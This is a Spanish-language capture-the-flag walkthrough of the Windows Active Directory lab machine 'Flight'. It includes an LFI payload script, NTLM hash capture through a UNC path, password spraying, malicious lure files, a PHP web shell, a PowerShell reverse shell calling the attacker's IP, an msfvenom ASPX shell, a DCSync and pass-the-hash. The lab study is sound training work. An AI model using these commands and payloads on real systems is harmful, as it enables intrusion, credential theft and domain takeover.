Flight

Publicado: 25 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Hard OS: Windows

📝 Descripción

Flight es una máquina Windows de dificultad Hard que simula un entorno empresarial con Active Directory y servicios web. La explotación inicial se basa en explotar una vulnerabilidad de Local File Inclusion (LFI) en una aplicación web PHP para forzar autenticación NTLM y capturar hashes Net-NTLMv2. A través de técnicas de password spraying y escalada lateral, se obtiene acceso a múltiples cuentas hasta alcanzar privilegios de administrador mediante un ataque DCSync.

La máquina presenta múltiples vectores de ataque incluyendo enumeración de servicios SMB, explotación de aplicaciones web, captura de credenciales mediante archivos maliciosos, escalada de privilegios a través de cuentas de servicio IIS, y técnicas avanzadas de Active Directory como la delegación de tickets Kerberos.


📊 Resumen de la Explotación

🔗 Cadena de Ataque

graph TD
    A[🔍 Reconocimiento inicial] --> B[🌐 Enumeración web]
    B --> C[🔍 Descubrimiento de vhost school.flight.htb]
    C --> D[💥 Explotación LFI via parámetro view]
    D --> E[🔑 Captura hash Net-NTLMv2 svc_apache]
    E --> F[🔓 Cracking offline → svc_apache:S@Ss!K@*t13]
    F --> G[🔄 Password spraying → S.Moon reutiliza contraseña]
    G --> H[📂 Acceso SMB con permisos de escritura]
    H --> I[🎯 Archivo malicioso para capturar credenciales]
    I --> J[🔑 Captura hash Net-NTLMv2 C.Bum]
    J --> K[🔓 Cracking offline → C.Bum:Tikkycoll_431012284]
    K --> L[🌐 Subida webshell en directorio /Web]
    L --> M[💻 Reverse shell como svc_apache]
    M --> N[🔄 Escalada lateral a C.Bum con RunasCs]
    N --> O[🌐 Descubrimiento servicio interno puerto 8000]
    O --> P[📂 Permisos escritura en C:\inetpub\development]
    P --> Q[🔁 Shell como IIS APPPOOL\DefaultAppPool]
    Q --> R[🎫 Extracción ticket Kerberos con Rubeus]
    R --> S[⚡ Ataque DCSync para obtener hash Administrator]
    S --> T[👑 Pass-the-Hash → Acceso como SYSTEM]

🎯 Puntos Clave

  • Vector inicial: Local File Inclusion (LFI) en aplicación web PHP

  • Técnica de captura: Forzar autenticación NTLM via UNC paths

  • Escalada lateral: Password spraying y reutilización de credenciales

  • Persistencia: Archivos maliciosos en recursos compartidos SMB

  • Escalada final: Abuso de cuenta de servicio IIS para DCSync

  • Técnicas AD: Delegación de tickets Kerberos y ataques DCSync


🔭 Reconocimiento

🏓 Ping para verificación en base a TTL

❯ ping -c2 10.10.11.187         
PING 10.10.11.187 (10.10.11.187) 56(84) bytes of data.
64 bytes from 10.10.11.187: icmp_seq=1 ttl=127 time=42.5 ms
64 bytes from 10.10.11.187: icmp_seq=2 ttl=127 time=41.8 ms

--- 10.10.11.187 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1010ms
rtt min/avg/max/mdev = 41.794/42.148/42.503/0.354 ms

💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

🚀 Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.187 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports                                                
53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49667,49673,49674,49687,49695

🔍 Enumeración de servicios

nmap -sC -sV -p$ports 10.10.11.187 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-25 09:31 CEST
Nmap scan report for 10.10.11.187
Host is up (0.050s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: g0 Aviation
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-25 14:31:27Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49687/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-25T14:32:19
|_  start_date: N/A
|_clock-skew: 7h00m01s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

⚠️ Añadimos el siguiente vhost a nuestro fichero /etc/hosts:

echo "10.10.11.187 flight.htb" | sudo tee -a /etc/hosts

📋 Análisis de Servicios Detectados

Puerto
Servicio
Descripción

53

DNS

Servicio DNS del dominio

80

HTTP

Servidor web Apache con PHP

88

Kerberos

Autenticación del dominio

135

MSRPC

Llamadas a procedimientos remotos

139/445

SMB/NetBIOS

Recursos compartidos

389/636

LDAP/LDAPS

Directorio activo

🔥 Servicios críticos identificados:

  • SMB (445): Posible acceso a recursos compartidos

  • HTTP (80): Aplicación web con potencial para LFI/RFI

  • LDAP (389/636): Enumeración de usuarios del dominio

  • Kerberos (88): Ataques de autenticación


🌐 Enumeración de Servicios

🗂️ SMB (Puerto 445) - Acceso Inicial

Ya que no disponemos de credenciales, comenzamos tratando de enumerar sin éxito posibles recursos mediante una sesión nula:

smbclient -N -L //10.10.11.187
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.187 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
netexec smb 10.10.11.187 -u '' -p '' --shares 
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.187    445    G0               [+] flight.htb\: 
SMB         10.10.11.187    445    G0               [-] Error enumerating shares: STATUS_ACCESS_DENIED

🌐 HTTP (Puerto 80) - Aplicación Web Principal

whatweb -a 3 flight.htb                                                                                     
http://flight.htb [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1], IP[10.10.11.187], JQuery[1.4.2], OpenSSL[1.1.1m], PHP[8.1.1], Script[text/javascript], Title[g0 Aviation]

🔍 Fuzzing de directorios

dirsearch -u http://10.10.11.187 -x 503,404,403

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://10.10.11.187/

[09:37:41] Scanning: 
[09:37:55] 200 -    1KB - /cgi-bin/printenv.pl
[09:37:56] 301 -   334B - /css  ->  http://10.10.11.187/css/
[09:38:00] 301 -   337B - /images  ->  http://10.10.11.187/images/
[09:38:00] 200 -    5KB - /images/
[09:38:01] 200 -    7KB - /index.html
[09:38:01] 301 -   333B - /js  ->  http://10.10.11.187/js/
[09:38:01] 200 -    3KB - /js/

Task Completed

No encontramos nada de utilidad que nos sirva como vía potencial de explotación.

🏗️ Fuzzing de vhosts

ffuf -u http://10.10.11.187 -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -mc all -fs 7069

Encontramos un vhost que añadimos a nuestro scope y al fichero /etc/hosts.

school.flight.htb

whatweb -a 3 school.flight.htb
http://school.flight.htb [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1], IP[10.10.11.187], OpenSSL[1.1.1m], PHP[8.1.1], Title[Aviation School], X-Powered-By[PHP/8.1.1]

🔍 Fuzzing de directorios - school.flight.htb

dirsearch -u http://school.flight.htb -x 503,404,403

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://school.flight.htb/

[10:41:12] Scanning: 
[10:41:18] 200 -    2KB - /about.html
[10:41:24] 200 -    2KB - /cgi-bin/printenv.pl
[10:41:28] 200 -    3KB - /home.html
[10:41:28] 301 -   347B - /images  ->  http://school.flight.htb/images/
[10:41:28] 200 -    4KB - /images/
[10:41:28] 200 -    4KB - /index.php
[10:41:29] 200 -    4KB - /index.pHp
[10:41:29] 200 -    4KB - /index.php.
[10:41:29] 200 -    4KB - /index.php/login/
[10:41:35] 301 -   347B - /styles  ->  http://school.flight.htb/styles/

💥 Explotación Initial - LFI

🔍 Descubrimiento del parámetro vulnerable

Revisando la sección /about observamos un parámetro view en la petición GET que parece mostrar el contenido de la página.

Este es un método antiguo utilizado por los desarrolladores web para mostrar el contenido de las páginas web. Al ver estas cosas, generalmente pienso en ataques transversales de ruta de directorio e inclusiones de archivos (LFI, RFI).

🧪 Testing de LFI

Nos creamos un pequeño script para automatizar algunos payloads para comprobar un posible LFI a través de este parámetro:

#!/bin/bash

URL="http://school.flight.htb/index.php?view="
TARGET="Windows/System32/drivers/etc/hosts"

# Lista de payloads con variantes de bypass
payloads=(
    "../../../../$TARGET"
    "..%2f..%2f..%2f..%2f$TARGET"
    "..%252f..%252f..%252f..%252f$TARGET"
    "....//....//....//$TARGET"
    "..\/..\/..\/..\/$TARGET"
    "..\\..\\..\\..\\$TARGET"
    "..%c0%af..%c0%af..%c0%af..%c0%af$TARGET"
    "%2e%2e/%2e%2e/%2e%2e/%2e%2e/$TARGET"
    "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f$TARGET"
    "$TARGET%00"
)

echo -e "\n[*] Iniciando escaneo LFI en $URL\n"

for payload in "${payloads[@]}"; do
    echo "[+] Probando payload: $payload"
    response=$(curl -s "${URL}${payload}")
    
    # Comprobación de bloqueo
    if echo "$response" | grep -q -Ei "Suspicious|Incident will be reported"; then
        echo "[x] Bloqueado por WAF o filtro - 'Suspicious Activity Detected'"
    
    # Comprobación de éxito probable
    elif echo "$response" | grep -q -Ei "127\.|localhost|::1"; then
        echo "[✔] Posible ÉXITO - contenido del archivo detectado"
    
    else
        echo "[ ] No se detectaron indicadores útiles"
    fi

    echo
    sleep 1
done

🔒 Análisis del filtrado

Parece que hay algún tipo de filtrado implementado por el servidor. Probamos la petición con un recurso de la web, por ejemplo blog.html:

curl -s 'http://school.flight.htb/index.php?view=blog.html'  

Funciona correctamente. ¿Y si hacemos lo mismo con index.php? Vemos que podemos ver el código que se se está aplicando para realizar el filtrado del parámetro:

if ((strpos(urldecode($_GET['view']),'..')!==false)||
    (strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)||
    (strpos(urldecode($_GET['view']),'\\')!==false)||
    (strpos(urldecode($_GET['view']),'htaccess')!==false)||
    (strpos(urldecode($_GET['view']),'.shtml')!==false)
)

Por tanto, bloquea si detecta:

  • ".." → prevención de path traversal básico

  • "filter" → para evitar wrappers como php://filter

  • "\\" → backslash típico de Windows

  • "htaccess" y ".shtml" → protección contra archivos sensibles

🎯 Explotación via UNC Path

Si pensamos un poco fuera de la caja, debemos encontrar otra solución. De la enumeración anterior, ya sabemos que tenemos un host de Windows con SMB ejecutándose. ¿Qué pasa si le decimos al servidor web que se conecte a un recurso compartido en nuestra máquina?

Iniciamos nuestro servidor SMB:

impacket-smbserver smbShare $(pwd) -smb2support               
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Ahora tratamos de conectarnos al recurso compartido, usando doble slash // en lugar de \\ ya que esta última está filtrada:

http://school.flight.htb/index.php?view=//10.10.14.4//smbShare/test

¡Éxito! Logramos un hash NTLMv2 del usuario svc_apache:

🔓 Cracking del hash

hashcat -m 5600 -a 0 svc_apache_hash /usr/share/wordlists/rockyou.txt

Credenciales obtenidas: svc_apache:S@Ss!K@*t13


🔄 Escalada Lateral

📂 Enumeración de recursos compartidos

netexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --shares

👥 Enumeración de usuarios

netexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --rid-brute 2>/dev/null | awk -F '\\' '{print $2}' | grep 'SidTypeUser' | sed 's/ (SidTypeUser)//' > Users.txt

🔄 Password Spraying

Con la lista de usuarios obtenida, probamos a realizar Password Spraying de la contraseña que habíamos obtenido:

netexec smb 10.10.11.187 -u Users.txt -p 'S@Ss!K@*t13' --continue-on-success

¡Éxito! El usuario S.Moon está reutilizando la misma contraseña.

Credencial obtenida: S.Moon:S@Ss!K@*t13

🎯 Ataque con archivos maliciosos

El usuario S.Moon tiene permisos de escritura en el recurso "Shared". Podemos crear archivos maliciosos para capturar más credenciales cuando otros usuarios los abran:

ntlm_theft --verbose --generate modern --server "10.10.14.4" --filename "important" -g all

Esto genera archivos maliciosos que fuerzan autenticación NTLM cuando son abiertos:

Subimos un archivo al directorio Shared:

A los pocos segundos recibimos un hash NTLMv2 del usuario C.Bum:

🔓 Cracking del segundo hash

hashcat -m 5600 -a 0 cbum_hash /usr/share/wordlists/rockyou.txt

Credencial obtenida: C.Bum:Tikkycoll_431012284


Voy a descargarme todo el directorio C.Bum del recurso Users para analizarlo en mi host de ataque y ver si hay alguna vía potencial que nos permita escalar privilegios

smbclient //10.10.11.187/Users -U "C.Bum" -c "cd C.Bum; recurse ON; prompt OFF; mget *"

Nuevamente, tras revisar todo el árbol de directorios y archivos no encuentro nada de utilidad. Decido usar el collector bloodhound-python para importar los resultados en bloodhound y analizar posibles vías de escalada:

bloodhound-python -u 'C.Bum' -p 'Tikkycoll_431012284' -d flight.htb -c All --zip -ns 10.10.11.187

Una vez cargados los resultados en Bloodhound, veo que C.Bum pertenece al grupo WEBDEVS:

Quizás podemos intentar subir una webshell en el recurso compartido /Web. Usaremos una PHP cmd de http://revshells.com :

🌐 Acceso Web Shell

📂 Permisos de escritura Web

El usuario C.Bum tiene permisos de escritura sobre el recurso Web:

netexec smb 10.10.11.187 -u 'C.Bum' -p 'Tikkycoll_431012284' --shares

💻 Subida de Web Shell

Creamos una PHP web shell:

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

Subimos la shell al directorio web:

smbclient //10.10.11.187/Web -U "C.Bum"
smb: \school.flight.htb\> put rev.php

🔄 Reverse Shell

Accedemos a la shell web: http://school.flight.htb/rev.php?cmd=whoami

Ejecutamos una reverse shell en PowerShell:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Ejecutamos en payload y ganamos acceso a la máquina como usuario svc_apache:

Comienzo a enumerar la máquina hasta descubrir que en C:\inetpub\development hay otra aplicación que podría estar ejecutándose de forma local. Si revisamos los puertos y servicios en la máquina:

🔝 Escalada de Privilegios

🔍 Descubrimiento de servicio interno

Enumerando la máquina, descubrimos que en C:\inetpub\development hay otra aplicación ejecutándose localmente en el puerto 8000:

netstat -ano | Select-String "LISTENING"

🔗 Port Forwarding con Chisel

./chisel server --reverse --port 9003
chisel.exe client 10.10.14.4:9003 R:8000:127.0.0.1:8000

Realicé un fuzzing de directorios y archivos. Al intentar acceder a /robots.txt, descubrí que el servidor busca el archivo en la carpeta C:\inetpub\development, que parece ser su raíz web.

Si usamos icacls para revisar los permisos sobre el directorio Development en C:\inetpub vemos que el usuario C.Bum tiene permisos de escritura en él.

🔐 Análisis de permisos

Verificamos permisos sobre el directorio development:

icacls development
development flight\C.Bum:(OI)(CI)(W)

¡El usuario C.Bum tiene permisos de escritura!

🚀 Escalada a C.Bum

Esto nos abre una vía potencial para poder subir aquí una reverse shell ganar acceso y movernos lateralmente. Primero necesitamos ganar una shell como C.Bum, para ello podemos usar https://github.com/antonioCoco/RunasCs

Una vez transferida a la máquina, como tenemos las credenciales la ejecutamos de la siguiente forma: Usamos RunasCs para ejecutar comandos como C.Bum:

.\RunasCs.exe c.bum Tikkycoll_431012284 cmd.exe -r 10.10.14.4:4444

💻 Shell como IIS APPPOOL

Generamos una reverse shell ASPX:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=443 -a x64 -f aspx > shell.aspx

La transferimos al directorio development y la ejecutamos via web, obteniendo una shell como IIS APPPOOL\DefaultAppPool.


👑 Escalada Final - DCSync Attack

🎫 Extracción de ticket Kerberos

Como cuenta de servicio IIS, podemos autenticarnos como la cuenta de máquina. Usamos Rubeus para extraer un ticket:

.\rubeus.exe tgtdeleg /nowrap

![[40.png]]

🔄 Conversión del ticket

Convertimos el ticket de formato kirbi a ccache:

python3 kirbi2ccache.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

⚡ Ataque DCSync

Sincronizamos el reloj y ejecutamos DCSync:

sudo ntpdate -s flight.htb && impacket-secretsdump -k -no-pass g0.flight.htb -just-dc-user administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

🏆 Pass-the-Hash

Finalmente, usamos el hash para obtener acceso como Administrator:

impacket-psexec -hashes :<REDACTED> Administrator@10.10.11.187
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

🏁 Flags Capturadas

👤 User Flag

C:\Users\C.Bum\Desktop> type user.txt
[USER_FLAG]

👑 Root Flag

C:\Users\Administrator\Desktop> type root.txt
[ROOT_FLAG]

Last updated